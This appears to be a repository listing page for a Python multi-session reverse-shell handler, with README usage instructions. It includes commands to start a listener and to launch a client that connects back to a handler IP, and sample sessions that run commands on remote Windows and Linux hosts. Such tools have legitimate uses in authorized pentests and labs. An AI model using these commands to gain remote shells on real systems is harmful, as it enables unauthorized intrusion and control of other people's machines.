unbreached /
pwnsh
Multi-session reverse-shell handler with a terminal dashboard. Search, replay, persistence, PTY upgrades, and per-session recording. For sanctioned pentests, CTFs, and red-team labs.
73/100 healthLoading repository data…
AzkOsDev / repository
Multi-Session Reverse Shell Handler es una herramienta de administración remota desarrollada en Python que permite gestionar múltiples conexiones simultáneas desde una interfaz centralizada. El sistema está compuesto por dos componentes principales: un cliente multiplataforma que se ejecuta en los sistemas remotos.
A transparent discovery signal based on current public GitHub metadata.
This score does not audit code, security, maintainers, documentation quality, or suitability. Verify the repository and its current documentation before adoption.
Multi-Session Reverse Shell Handler is a remote administration tool that allows system administrators and security professionals to manage multiple remote connections simultaneously from a single centralized interface. The system consists of a cross-platform client that connects back to a multi-threaded handler capable of managing up to 5 concurrent sessions.
Clone the repository:
git clone https://github.com/AzK-os-dev/AZKNEL-SERVER.git
cd multi-session-handler
No additional dependencies required - uses Python standard library only.
Requirements:
python3 handler.py --port 4444
python3 main.py --host <HANDLER_IP> --port 4444
MultiHandler> sessions # List all sessions
MultiHandler> session a1b2c3d4 # Switch to specific session
MultiHandler> ls -la # Execute commands on active session
| Command | Description |
|---|---|
sessions | Display all active sessions |
session <id> | Switch to specific session |
kill <id> | Terminate specific session |
killall | Terminate all sessions |
help | Show available commands |
exit | Exit handler |
python3 main.py --host <HOST> --port <PORT> [OPTIONS]
Options:
-H, --host Handler IP address (required)
-p, --port Handler port (required)
-t, --timeout Command timeout in seconds (default: 600)
--no-color Disable ANSI colors
--long-prompt Show full directory path
python3 handler.py --port <PORT> [OPTIONS]
Options:
-p, --port Listen port (required)
-m, --max-sessions Maximum concurrent sessions (default: 5)
$ python3 handler.py --port 4444
[+] Listening on port 4444 (max 5 sessions)
[+] New session: a1b2c3d4 from 192.168.1.50:12345
[*] Info: Connected - Running on Windows 10
[+] New session: e5f6g7h8 from 10.0.0.100:54321
[*] Info: Connected - Running on Linux Ubuntu 20.04
MultiHandler(a1b2c3d4)> sessions
=== Active Sessions ===
ID Address Connected Last Activity Info
---------------------------------------------------------------
a1b2c3d4 192.168.1.50:12345 2m 30s Windows 10 *
e5f6g7h8 10.0.0.100:54321 1m 45s Linux Ubuntu 20.04
MultiHandler(a1b2c3d4)> dir
=== CMD: dir
=== EXIT CODE: 0
--- STDOUT ---
Directory of C:\Users\admin
...
MultiHandler(a1b2c3d4)> session e5f6g7h8
[+] Switched to session: e5f6g7h8
MultiHandler(e5f6g7h8)> ls -la
=== CMD: ls -la
=== EXIT CODE: 0
--- STDOUT ---
drwxr-xr-x 25 user user 4096 Sep 14 10:30 .
...
The system uses a delimiter-based protocol for structured communication:
Command Format:
<command>\n
Response Format:
=== CMD: <command>
=== EXIT CODE: <return_code>
--- STDOUT ---
<stdout_content>
--- STDERR ---
<stderr_content>
<<<END_OF_OUTPUT>>>
dir, type, echo)ipconfig, tasklist, systeminfo)ps, netstat, uname)This tool is intended for legitimate system administration and authorized security testing purposes only. Users must:
git checkout -b feature/new-feature)git commit -am 'Add new feature')git push origin feature/new-feature)This project is licensed under the MIT License - see the LICENSE file for details.
Connection Refused:
Session Not Responding:
sessions command to check connection statusPlatform-Specific Commands Failing:
Selected from shared topics, language and repository description—not editorial ratings.
unbreached /
Multi-session reverse-shell handler with a terminal dashboard. Search, replay, persistence, PTY upgrades, and per-session recording. For sanctioned pentests, CTFs, and red-team labs.
73/100 health